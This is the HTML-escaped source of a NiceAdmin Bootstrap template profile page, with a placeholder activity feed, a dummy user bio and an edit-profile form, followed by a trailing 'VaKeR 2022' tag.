                                                  &lt;span class=&quot;arrow&quot;&gt;&lt;/span&gt;
                                                  &lt;div class=&quot;text&quot;&gt;
                                                      &lt;a href=&quot;#&quot; class=&quot;activity-img&quot;&gt;&lt;img class=&quot;avatar&quot; src=&quot;img/chat-avatar.jpg&quot; alt=&quot;&quot;&gt;&lt;/a&gt;
                                                      &lt;p class=&quot;attribution&quot;&gt;&lt;a href=&quot;#&quot;&gt;Jonatanh Doe&lt;/a&gt; at 4:25pm, 30th Octmber 2014&lt;/p&gt;
                                                      &lt;p&gt;It is a long established fact that a reader will be distracted layout&lt;/p&gt;
                                                  &lt;/div&gt;
                                              &lt;/div&gt;
                                          &lt;/div&gt;
                                          &lt;div class=&quot;act-time&quot;&gt;                                      
                                              &lt;div class=&quot;activity-body act-in&quot;&gt;
                                                  &lt;span class=&quot;arrow&quot;&gt;&lt;/span&gt;
                                                  &lt;div class=&quot;text&quot;&gt;
                                                      &lt;a href=&quot;#&quot; class=&quot;activity-img&quot;&gt;&lt;img class=&quot;avatar&quot; src=&quot;img/chat-avatar.jpg&quot; alt=&quot;&quot;&gt;&lt;/a&gt;
                                                      &lt;p class=&quot;attribution&quot;&gt;&lt;a href=&quot;#&quot;&gt;Jhon Loves &lt;/a&gt; at 5:25am, 30th Octmber 2014&lt;/p&gt;
                                                      &lt;p&gt;Knowledge speaks, but wisdom listens.&lt;/p&gt;                                                      
                                                  &lt;/div&gt;
                                              &lt;/div&gt;
                                          &lt;/div&gt;
                                          &lt;div class=&quot;act-time&quot;&gt;                                      
                                              &lt;div class=&quot;activity-body act-in&quot;&gt;
                                                  &lt;span class=&quot;arrow&quot;&gt;&lt;/span&gt;
                                                  &lt;div class=&quot;text&quot;&gt;
                                                      &lt;a href=&quot;#&quot; class=&quot;activity-img&quot;&gt;&lt;img class=&quot;avatar&quot; src=&quot;img/chat-avatar.jpg&quot; alt=&quot;&quot;&gt;&lt;/a&gt;
                                                      &lt;p class=&quot;attribution&quot;&gt;&lt;a href=&quot;#&quot;&gt;Rose Crack&lt;/a&gt; at 5:25am, 30th Octmber 2014&lt;/p&gt;
                                                      &lt;p&gt;Pellentesque habitant morbi tristique senectus et netus et malesuada fames ac turpis egestas.&lt;/p&gt;
                                                  &lt;/div&gt;
                                              &lt;/div&gt;
                                          &lt;/div&gt;
                                          &lt;div class=&quot;act-time&quot;&gt;                                      
                                              &lt;div class=&quot;activity-body act-in&quot;&gt;
                                                  &lt;span class=&quot;arrow&quot;&gt;&lt;/span&gt;
                                                  &lt;div class=&quot;text&quot;&gt;
                                                      &lt;a href=&quot;#&quot; class=&quot;activity-img&quot;&gt;&lt;img class=&quot;avatar&quot; src=&quot;img/chat-avatar.jpg&quot; alt=&quot;&quot;&gt;&lt;/a&gt;
                                                      &lt;p class=&quot;attribution&quot;&gt;&lt;a href=&quot;#&quot;&gt;Jimy Smith&lt;/a&gt; at 5:25am, 30th Octmber 2014&lt;/p&gt;
                                                      &lt;p&gt;Pellentesque habitant morbi tristique senectus et netus et malesuada fames ac turpis egestas. Vestibulum tortor quam, feugiat vitae, ultricies eget, tempor sit amet, ante. Donec eu libero sit amet quam egestas semper. Aenean ultricies mi vitae est. Mauris placerat eleifend leo.&lt;/p&gt;
                                                  &lt;/div&gt;
                                              &lt;/div&gt;
                                          &lt;/div&gt;
                                          &lt;div class=&quot;act-time&quot;&gt;                                      
                                              &lt;div class=&quot;activity-body act-in&quot;&gt;
                                                  &lt;span class=&quot;arrow&quot;&gt;&lt;/span&gt;
                                                  &lt;div class=&quot;text&quot;&gt;
                                                      &lt;a href=&quot;#&quot; class=&quot;activity-img&quot;&gt;&lt;img class=&quot;avatar&quot; src=&quot;img/chat-avatar.jpg&quot; alt=&quot;&quot;&gt;&lt;/a&gt;
                                                      &lt;p class=&quot;attribution&quot;&gt;&lt;a href=&quot;#&quot;&gt;Maria Willyam&lt;/a&gt; at 5:25am, 30th Octmber 2014&lt;/p&gt;
                                                      &lt;p&gt;Pellentesque habitant morbi tristique senectus et netus et malesuada fames ac turpis egestas. Vestibulum tortor quam, feugiat vitae, ultricies eget, tempor sit amet, ante. Donec eu libero sit amet quam egestas semper. Aenean ultricies mi vitae est. Mauris placerat eleifend leo. Quisque sit amet est et sapien ullamcorper pharetra. Vestibulum erat wisi, condimentum sed, commodo vitae, ornare sit amet, wisi. Aenean fermentum, elit eget tincidunt condimentum, eros ipsum rutrum orci, sagittis tempus lacus enim ac dui. Donec non enim in turpis pulvinar facilisis. Ut felis. Praesent dapibus, neque id cursus faucibus, tortor neque egestas augue, eu vulputate magna eros eu erat. Aliquam erat volutpat. Nam dui mi, tincidunt quis, accumsan porttitor, facilisis luctus, metus&lt;/p&gt;
                                                  &lt;/div&gt;
                                              &lt;/div&gt;
                                          &lt;/div&gt;
                                          &lt;div class=&quot;act-time&quot;&gt;                                      
                                              &lt;div class=&quot;activity-body act-in&quot;&gt;
                                                  &lt;span class=&quot;arrow&quot;&gt;&lt;/span&gt;
                                                  &lt;div class=&quot;text&quot;&gt;
                                                      &lt;a href=&quot;#&quot; class=&quot;activity-img&quot;&gt;&lt;img class=&quot;avatar&quot; src=&quot;img/chat-avatar.jpg&quot; alt=&quot;&quot;&gt;&lt;/a&gt;
                                                      &lt;p class=&quot;attribution&quot;&gt;&lt;a href=&quot;#&quot;&gt;Sarah saw&lt;/a&gt; at 5:25am, 30th Octmber 2014&lt;/p&gt;
                                                      &lt;p&gt;Knowledge speaks, but wisdom listens.&lt;/p&gt;                                                      
                                                  &lt;/div&gt;
                                              &lt;/div&gt;
                                          &lt;/div&gt;
                                          &lt;div class=&quot;act-time&quot;&gt;                                      
                                              &lt;div class=&quot;activity-body act-in&quot;&gt;
                                                  &lt;span class=&quot;arrow&quot;&gt;&lt;/span&gt;
                                                  &lt;div class=&quot;text&quot;&gt;
                                                      &lt;a href=&quot;#&quot; class=&quot;activity-img&quot;&gt;&lt;img class=&quot;avatar&quot; src=&quot;img/chat-avatar.jpg&quot; alt=&quot;&quot;&gt;&lt;/a&gt;
                                                      &lt;p class=&quot;attribution&quot;&gt;&lt;a href=&quot;#&quot;&gt;Layla night&lt;/a&gt; at 5:25am, 30th Octmber 2014&lt;/p&gt;
                                                      &lt;p&gt;Pellentesque habitant morbi tristique senectus et netus et malesuada fames ac turpis egestas.&lt;/p&gt;
                                                  &lt;/div&gt;
                                              &lt;/div&gt;
                                          &lt;/div&gt;
                                          &lt;div class=&quot;act-time&quot;&gt;                                      
                                              &lt;div class=&quot;activity-body act-in&quot;&gt;
                                                  &lt;span class=&quot;arrow&quot;&gt;&lt;/span&gt;
                                                  &lt;div class=&quot;text&quot;&gt;
                                                      &lt;a href=&quot;#&quot; class=&quot;activity-img&quot;&gt;&lt;img class=&quot;avatar&quot; src=&quot;img/chat-avatar.jpg&quot; alt=&quot;&quot;&gt;&lt;/a&gt;
                                                      &lt;p class=&quot;attribution&quot;&gt;&lt;a href=&quot;#&quot;&gt;Andriana lee&lt;/a&gt; at 5:25am, 30th Octmber 2014&lt;/p&gt;
                                                      &lt;p&gt;Pellentesque habitant morbi tristique senectus et netus et malesuada fames ac turpis egestas. Vestibulum tortor quam, feugiat vitae, ultricies eget, tempor sit amet, ante. Donec eu libero sit amet quam egestas semper. Aenean ultricies mi vitae est. Mauris placerat eleifend leo.&lt;/p&gt;
                                                  &lt;/div&gt;
                                              &lt;/div&gt;
                                          &lt;/div&gt;
                                          &lt;div class=&quot;act-time&quot;&gt;                                      
                                              &lt;div class=&quot;activity-body act-in&quot;&gt;
                                                  &lt;span class=&quot;arrow&quot;&gt;&lt;/span&gt;
                                                  &lt;div class=&quot;text&quot;&gt;
                                                      &lt;a href=&quot;#&quot; class=&quot;activity-img&quot;&gt;&lt;img class=&quot;avatar&quot; src=&quot;img/chat-avatar.jpg&quot; alt=&quot;&quot;&gt;&lt;/a&gt;
                                                      &lt;p class=&quot;attribution&quot;&gt;&lt;a href=&quot;#&quot;&gt;Maria Willyam&lt;/a&gt; at 5:25am, 30th Octmber 2014&lt;/p&gt;
                                                      &lt;p&gt;Pellentesque habitant morbi tristique senectus et netus et malesuada fames ac turpis egestas. Vestibulum tortor quam, feugiat vitae, ultricies eget, tempor sit amet, ante. Donec eu libero sit amet quam egestas semper. Aenean ultricies mi vitae est. Mauris placerat eleifend leo. Quisque sit amet est et sapien ullamcorper pharetra. Vestibulum erat wisi, condimentum sed, commodo vitae, ornare sit amet, wisi. Aenean fermentum, elit eget tincidunt condimentum, eros ipsum rutrum orci, sagittis tempus lacus enim ac dui. Donec non enim in turpis pulvinar facilisis. Ut felis. Praesent dapibus, neque id cursus faucibus, tortor neque egestas augue, eu vulputate magna eros eu erat. Aliquam erat volutpat. Nam dui mi, tincidunt quis, accumsan porttitor, facilisis luctus, metus&lt;/p&gt;
                                                  &lt;/div&gt;
                                              &lt;/div&gt;
                                          &lt;/div&gt;

                                      &lt;/div&gt;
                                  &lt;/div&gt;
                                  &lt;!-- profile --&gt;
                                  &lt;div id=&quot;profile&quot; class=&quot;tab-pane&quot;&gt;
                                    &lt;section class=&quot;panel&quot;&gt;
                                      &lt;div class=&quot;bio-graph-heading&quot;&gt;
                                                Hello I’m Jenifer Smith, a leading expert in interactive and creative design specializing in the mobile medium. My graduation from Massey University with a Bachelor of Design majoring in visual communication.
                                      &lt;/div&gt;
                                      &lt;div class=&quot;panel-body bio-graph-info&quot;&gt;
                                          &lt;h1&gt;Bio Graph&lt;/h1&gt;
                                          &lt;div class=&quot;row&quot;&gt;
                                              &lt;div class=&quot;bio-row&quot;&gt;
                                                  &lt;p&gt;&lt;span&gt;First Name &lt;/span&gt;: Jenifer &lt;/p&gt;
                                              &lt;/div&gt;
                                              &lt;div class=&quot;bio-row&quot;&gt;
                                                  &lt;p&gt;&lt;span&gt;Last Name &lt;/span&gt;: Smith&lt;/p&gt;
                                              &lt;/div&gt;                                              
                                              &lt;div class=&quot;bio-row&quot;&gt;
                                                  &lt;p&gt;&lt;span&gt;Birthday&lt;/span&gt;: 27 August 1987&lt;/p&gt;
                                              &lt;/div&gt;
                                              &lt;div class=&quot;bio-row&quot;&gt;
                                                  &lt;p&gt;&lt;span&gt;Country &lt;/span&gt;: United&lt;/p&gt;
                                              &lt;/div&gt;
                                              &lt;div class=&quot;bio-row&quot;&gt;
                                                  &lt;p&gt;&lt;span&gt;Occupation &lt;/span&gt;: UI Designer&lt;/p&gt;
                                              &lt;/div&gt;
                                              &lt;div class=&quot;bio-row&quot;&gt;
                                                  &lt;p&gt;&lt;span&gt;Email &lt;/span&gt;:jenifer@mailname.com&lt;/p&gt;
                                              &lt;/div&gt;
                                              &lt;div class=&quot;bio-row&quot;&gt;
                                                  &lt;p&gt;&lt;span&gt;Mobile &lt;/span&gt;: (+6283) 456 789&lt;/p&gt;
                                              &lt;/div&gt;
                                              &lt;div class=&quot;bio-row&quot;&gt;
                                                  &lt;p&gt;&lt;span&gt;Phone &lt;/span&gt;:  (+021) 956 789123&lt;/p&gt;
                                              &lt;/div&gt;
                                          &lt;/div&gt;
                                      &lt;/div&gt;
                                    &lt;/section&gt;
                                      &lt;section&gt;
                                          &lt;div class=&quot;row&quot;&gt;                                              
                                          &lt;/div&gt;
                                      &lt;/section&gt;
                                  &lt;/div&gt;
                                  &lt;!-- edit-profile --&gt;
                                  &lt;div id=&quot;edit-profile&quot; class=&quot;tab-pane&quot;&gt;
                                    &lt;section class=&quot;panel&quot;&gt;                                          
                                          &lt;div class=&quot;panel-body bio-graph-info&quot;&gt;
                                              &lt;h1&gt; Profile Info&lt;/h1&gt;
                                              &lt;form class=&quot;form-horizontal&quot; role=&quot;form&quot;&gt;                                                  
                                                  &lt;div class=&quot;form-group&quot;&gt;
                                                      &lt;label class=&quot;col-lg-2 control-label&quot;&gt;First Name&lt;/label&gt;
                                                      &lt;div class=&quot;col-lg-6&quot;&gt;
                                                          &lt;input type=&quot;text&quot; class=&quot;form-control&quot; id=&quot;f-name&quot; placeholder=&quot; &quot;&gt;
                                                      &lt;/div&gt;
                                                  &lt;/div&gt;
                                                  &lt;div class=&quot;form-group&quot;&gt;
                                                      &lt;label class=&quot;col-lg-2 control-label&quot;&gt;Last Name&lt;/label&gt;
                                                      &lt;div class=&quot;col-lg-6&quot;&gt;
                                                          &lt;input type=&quot;text&quot; class=&quot;form-control&quot; id=&quot;l-name&quot; placeholder=&quot; &quot;&gt;
                                                      &lt;/div&gt;
                                                  &lt;/div&gt;
                                                  &lt;div class=&quot;form-group&quot;&gt;
                                                      &lt;label class=&quot;col-lg-2 control-label&quot;&gt;About Me&lt;/label&gt;
                                                      &lt;div class=&quot;col-lg-10&quot;&gt;
                                                          &lt;textarea name=&quot;&quot; id=&quot;&quot; class=&quot;form-control&quot; cols=&quot;30&quot; rows=&quot;5&quot;&gt;&lt;/textarea&gt;
                                                      &lt;/div&gt;
                                                  &lt;/div&gt;
                                                  &lt;div class=&quot;form-group&quot;&gt;
                                                      &lt;label class=&quot;col-lg-2 control-label&quot;&gt;Country&lt;/label&gt;
                                                      &lt;div class=&quot;col-lg-6&quot;&gt;
                                                          &lt;input type=&quot;text&quot; class=&quot;form-control&quot; id=&quot;c-name&quot; placeholder=&quot; &quot;&gt;
                                                      &lt;/div&gt;
                                                  &lt;/div&gt;
                                                  &lt;div class=&quot;form-group&quot;&gt;
                                                      &lt;label class=&quot;col-lg-2 control-label&quot;&gt;Birthday&lt;/label&gt;
                                                      &lt;div class=&quot;col-lg-6&quot;&gt;
                                                          &lt;input type=&quot;text&quot; class=&quot;form-control&quot; id=&quot;b-day&quot; placeholder=&quot; &quot;&gt;
                                                      &lt;/div&gt;
                                                  &lt;/div&gt;
                                                  &lt;div class=&quot;form-group&quot;&gt;
                                                      &lt;label class=&quot;col-lg-2 control-label&quot;&gt;Occupation&lt;/label&gt;
                                                      &lt;div class=&quot;col-lg-6&quot;&gt;
                                                          &lt;input type=&quot;text&quot; class=&quot;form-control&quot; id=&quot;occupation&quot; placeholder=&quot; &quot;&gt;
                                                      &lt;/div&gt;
                                                  &lt;/div&gt;
                                                  &lt;div class=&quot;form-group&quot;&gt;
                                                      &lt;label class=&quot;col-lg-2 control-label&quot;&gt;Email&lt;/label&gt;
                                                      &lt;div class=&quot;col-lg-6&quot;&gt;
                                                          &lt;input type=&quot;text&quot; class=&quot;form-control&quot; id=&quot;email&quot; placeholder=&quot; &quot;&gt;
                                                      &lt;/div&gt;
                                                  &lt;/div&gt;
                                                  &lt;div class=&quot;form-group&quot;&gt;
                                                      &lt;label class=&quot;col-lg-2 control-label&quot;&gt;Mobile&lt;/label&gt;
                                                      &lt;div class=&quot;col-lg-6&quot;&gt;
                                                          &lt;input type=&quot;text&quot; class=&quot;form-control&quot; id=&quot;mobile&quot; placeholder=&quot; &quot;&gt;
                                                      &lt;/div&gt;
                                                  &lt;/div&gt;
                                                  &lt;div class=&quot;form-group&quot;&gt;
                                                      &lt;label class=&quot;col-lg-2 control-label&quot;&gt;Website URL&lt;/label&gt;
                                                      &lt;div class=&quot;col-lg-6&quot;&gt;
                                                          &lt;input type=&quot;text&quot; class=&quot;form-control&quot; id=&quot;url&quot; placeholder=&quot;http://www.demowebsite.com &quot;&gt;
                                                      &lt;/div&gt;
                                                  &lt;/div&gt;

                                                  &lt;div class=&quot;form-group&quot;&gt;
                                                      &lt;div class=&quot;col-lg-offset-2 col-lg-10&quot;&gt;
                                                          &lt;button type=&quot;submit&quot; class=&quot;btn btn-primary&quot;&gt;Save&lt;/button&gt;
                                                          &lt;button type=&quot;button&quot; class=&quot;btn btn-danger&quot;&gt;Cancel&lt;/button&gt;
                                                      &lt;/div&gt;
                                                  &lt;/div&gt;
                                              &lt;/form&gt;
                                          &lt;/div&gt;
                                      &lt;/section&gt;
                                  &lt;/div&gt;
                              &lt;/div&gt;
                          &lt;/div&gt;
                      &lt;/section&gt;
                 &lt;/div&gt;
              &lt;/div&gt;

              &lt;!-- page end--&gt;
          &lt;/section&gt;
      &lt;/section&gt;
      &lt;!--main content end--&gt;
      &lt;div class=&quot;text-right&quot;&gt;
            &lt;div class=&quot;credits&quot;&gt;
                &lt;!-- 
                    All the links in the footer should remain intact. 
                    You can delete the links only if you purchased the pro version.
                    Licensing information: https://bootstrapmade.com/license/
                    Purchase the pro version form: https://bootstrapmade.com/buy/?theme=NiceAdmin
                --&gt;
                &lt;a href=&quot;https://bootstrapmade.com/free-business-bootstrap-themes-website-templates/&quot;&gt;Business Bootstrap Themes&lt;/a&gt; by &lt;a href=&quot;https://bootstrapmade.com/&quot;&gt;BootstrapMade&lt;/a&gt;
            &lt;/div&gt;
        &lt;/div&gt;
  &lt;/section&gt;
  &lt;!-- container section end --&gt;
    &lt;!-- javascripts --&gt;
    &lt;script src=&quot;js/jquery.js&quot;&gt;&lt;/script&gt;
    &lt;script src=&quot;js/bootstrap.min.js&quot;&gt;&lt;/script&gt;
    &lt;!-- nice scroll --&gt;
    &lt;script src=&quot;js/jquery.scrollTo.min.js&quot;&gt;&lt;/script&gt;
    &lt;script src=&quot;js/jquery.nicescroll.js&quot; type=&quot;text/javascript&quot;&gt;&lt;/script&gt;
    &lt;!-- jquery knob --&gt;
    &lt;script src=&quot;assets/jquery-knob/js/jquery.knob.js&quot;&gt;&lt;/script&gt;
    &lt;!--custome script for all page--&gt;
    &lt;script src=&quot;js/scripts.js&quot;&gt;&lt;/script&gt;

  &lt;script&gt;

      //knob
      $(&quot;.knob&quot;).knob();

  &lt;/script&gt;


  &lt;/body&gt;
&lt;/html&gt;
</pre><center><br>VaKeR 2022</center>